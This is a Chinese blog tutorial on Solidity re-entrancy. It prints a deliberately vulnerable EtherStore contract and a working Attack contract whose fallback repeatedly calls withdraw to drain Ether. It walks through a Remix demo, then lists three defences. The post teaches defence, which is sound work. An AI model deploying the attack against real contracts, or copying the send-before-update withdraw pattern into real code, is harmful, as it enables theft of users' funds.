重入攻击演练与防范
重入是在合约 A 调用合约 B 时执行某个操作时,合约 B 会调用合约 A 的回退函数 fallback,然后合约 A 的回退函数 fallback 里又调用了合约 B 的某个操作,形成了一个循环。
重入会造成攻击形象,比如合约 A 调用合约 B 的取币函数,合约 B 调用 call 函数将币发送到合约 A,此时会调用合约 A 的回退函数 fallback,如果合约 A 在 fallback 函数里又调用了合约 B 的取币函数,此时合约 B 又会调用 call 将币发送到合约 A,如此循环,可以一直把合约 A 上的币取光。
重入攻击的示例代码: https://solidity-by-example.org/hacks/re-entrancy
具体代码
下面我们来看一下具体的代码,合约 A 名称是 EtherStore,定义了三个函数,第一个是 deposit 用于存币,第二个是 withdraw 用于取币,第三个 getBalance 是用于查询本合约上币的数量,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
pragma solidity ^0.8.13; contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; //存币 } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); //发送币 require(sent, "Failed to send Ether"); balances[msg.sender] = 0; //将调用者地址币数清空 } // 获取合约币的数量 function getBalance() public view returns (uint) { return address(this).balance; } } |
接下来来看一下合约 B,它是攻击合约,名称为 Attack,构造函数需要填写合约 EtherStore 的地址。有三个函数,一个是 attack 函数,该函数会调用合约 EtherStore 的 deposit 函数存入一个 ETH,然后再向合约 EtherStore 取币。第二个函数是回退函数 fallback,该函数会先判断合约 A 的币大于或等于 1,就继续取币。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
pragma solidity ^0.8.13; import "./EtherStore.sol"; contract Attack { EtherStore public etherStore; //存放合约A的地址 //构造函数 constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // 合约A发送ETH到合约B会调用这个回退函数 fallback() external payable { if (address(etherStore).balance >= 1 ether) { //判断合约 A 的币要大于 1 才取 etherStore.withdraw(); //向合约 A 取币 } } //攻击函数 function attack() external payable { require(msg.value >= 1 ether); //确保本合约大于或等于一个 ETH etherStore.deposit{value: 1 ether}(); //向合约 A 存入一个币 ETH etherStore.withdraw(); //向合约 A 取币 } // 获取合约上币的数量 function getBalance() public view returns (uint) { return address(this).balance; } } |
演练过程
将上面的合约 EtherStore 和合约 Attack 代码放到 remix 上,先布署合约 EtherStore,再布署合约 Attack,布署合约 Attack 时需要填写合约 EtherStore 的地址,如下图所示:
调用 deposit 先给 EtherStore 合约存入 3 个 ETH,如下图所示:
再给 Attack 合约存入 1 个 ETH,然后再点击 Attack,先存入 1 个 ETH 到 EtherStore 合约,然后再调用 withdraw 取出 ETH,此时合约 EtherStore 里的 withdraw 函数 msg.sender.call 将币发送到合约 Attack,进入 Attack 的 fallback 回退函数,再执行 withdraw 取 ETH,形成了重入,如下图:
引发重入会一直循环把合约 EtherStore 里的币都取完,此时我们看一下 Attack 合约上的币就是 4 个 ETH,点击控制台的 Debug 还可以进入调试模式。
调试模式如下图,在代码的行号处点击可以添加断点,还能显示汇编指令,单步跟踪。
防范
关于防范重入有以下三个点需要注意。
(1)在示例代码中,EtherStore 合约在取币 withdraw 函数是先调用 call 发送币,再将用户币的数量置空,如果改成先将用户币置空,再调用 call 发送币,那么漏洞无法利用。
1 2 3 4 |
balances[msg.sender] = 0; //先将调用者地址币数清空 (bool sent, ) = msg.sender.call{value: bal}(""); //再发送币 require(sent, "Failed to send Ether"); |
(2) 给取币函数 withdraw 添加一个函数修改器用于锁定状态,当执行 withdraw 函数时会先进入 noReentrant 修改器中,定义一个全局变量叫 locked,默认是 false,require 判断 locked 变量必须是 false,不然不会执行下面的操作,再将 locked 置为 true 锁定状态,执行完 withdraw 的功能,再将 locked 置为 false 用于解锁,中途要是有重入的情况不会得到执行。
1 2 3 4 5 6 7 8 9 10 11 12 |
bool internal locked; //锁 modifier noReentrant() { require(!locked, "No re-entrancy"); //必须是 false locked = true; //锁定 _; //执行withdraw函数功能 locked = false; //解锁 } function withdraw() public noReentrant{ //给函数添加修改器 //.... } |
(3) call 属于底层函数,一般情况下不要调用底层函数,比如转账最好是使用 transfer,这样也不会有重入的情况。
转载请注明:exchen's blog » 重入攻击演练与防范